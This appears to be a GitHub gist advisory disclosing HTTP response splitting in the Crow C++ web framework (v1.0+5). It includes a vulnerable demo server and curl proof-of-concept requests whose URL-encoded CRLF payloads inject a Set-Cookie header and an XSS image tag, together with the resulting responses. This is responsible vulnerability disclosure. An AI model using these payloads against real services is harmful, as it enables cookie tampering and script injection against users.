Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created May 16, 2023 09:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dellalibera/9247769cc90ed96c0d72ddbcba88c65c to your computer and use it in GitHub Desktop.
Save dellalibera/9247769cc90ed96c0d72ddbcba88c65c to your computer and use it in GitHub Desktop.
HTTP Response Splitting in Crow@v1.0+5

Information

Project: CrowCpp/Crow

Tested Version: v1.0+5 (commit dfc57edc237445a2459858d63b43195d41152522)

Github Repository: https://github.com/CrowCpp/Crow

Details

CrowCpp/Crow is vulnerable to HTTP Response Splitting when untrusted user input is used to build headers values. Headers values are not properly sanitized against CRLF Injection in set_header (https://github.com/CrowCpp/Crow/blob/dfc57edc237445a2459858d63b43195d41152522/include/crow/http_response.h#L51) and add_header(https://github.com/CrowCpp/Crow/blob/dfc57edc237445a2459858d63b43195d41152522/include/crow/http_response.h#L58) functions. An attacker can add the \r\n (carriage return line feeds) characters to end the HTTP response headers and inject malicious content, like for example additional headers or new response body, leading to a potential XSS vulnerability.

More reference about this vulnerability and its impact:

Reference to similar issues affecting other projects:

Setup

Install the dependencies and the project:

sudo apt install libboost-dev
wget https://github.com/CrowCpp/Crow/releases/download/v1.0%2B5/crow-v1.0+5.deb
sudo apt install ./crow-v1.0+5.deb

PoC

The PoC demonstrates how it's possible to add arbitrary headers and response body if user controlled values are used to set the headers value or the redirect.

  • build and run the server file:
g++ server.cpp -o server -lpthread
./server
  • run the following curl command to observe the response (or directly open the link in the browser to see the xss alert)
curl -i -X GET "http://localhost:8000/test2?q=test%0d%0aFoo:+Bar%0d%0aSet-Cookie:admin%3D1%0d%0aContent-Length:40%0d%0aContent-Type:text/html%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
HTTP/1.1 200 OK
x-custom-header: test
Foo: Bar
Set-Cookie:admin=1
Content-Length:40
Content-Type:text/html

<img src=x onerror=alert("hello") />

  • run the following curl command to objserve additional headers added:
curl -i -X GET "http://localhost:8000/test1?redirect=/test3%0d%0aFoo:+Bar%0d%0aSet-Cookie:admin%3D1"
HTTP/1.1 307 Temporary Redirect
location: http://localhost:8000/test3
Foo: Bar
Set-Cookie:admin=1
Content-Length: 0
Server: Crow/1.0
Date: Tue, 16 May 2023 08:00:03 GMT
Connection: Keep-Alive

Impact

If untrusted user input is placed in header values, a malicious user could inject additional headers or new response body, leading to a potential XSS vulnerability or a number of other issues.

Author

Alessio Della Libera

#include "crow.h"
int main()
{
crow::SimpleApp app;
// curl -i -X GET "http://localhost:8000/test1?redirect=/test3%0d%0aFoo:+Bar%0d%0aSet-Cookie:admin%3D1"
CROW_ROUTE(app, "/test1")
([](const crow::request& req) {
auto r = req.url_params.get("redirect");
crow::response res;
res.redirect(r);
return res;
});
// curl -i -X GET "http://localhost:8000/test2?q=test%0d%0aFoo:+Bar%0d%0aSet-Cookie:admin%3D1%0d%0aContent-Length:40%0d%0aContent-Type:text/html%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
CROW_ROUTE(app, "/test2")
([](const crow::request& req, crow::response& res) {
res.add_header("x-custom-header", req.url_params.get("q"));
res.write("test2");
res.end();
});
CROW_ROUTE(app, "/test3")
([](const crow::request& req, crow::response& res) {
res.write("test3");
res.end();
});
app.port(8000).run();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment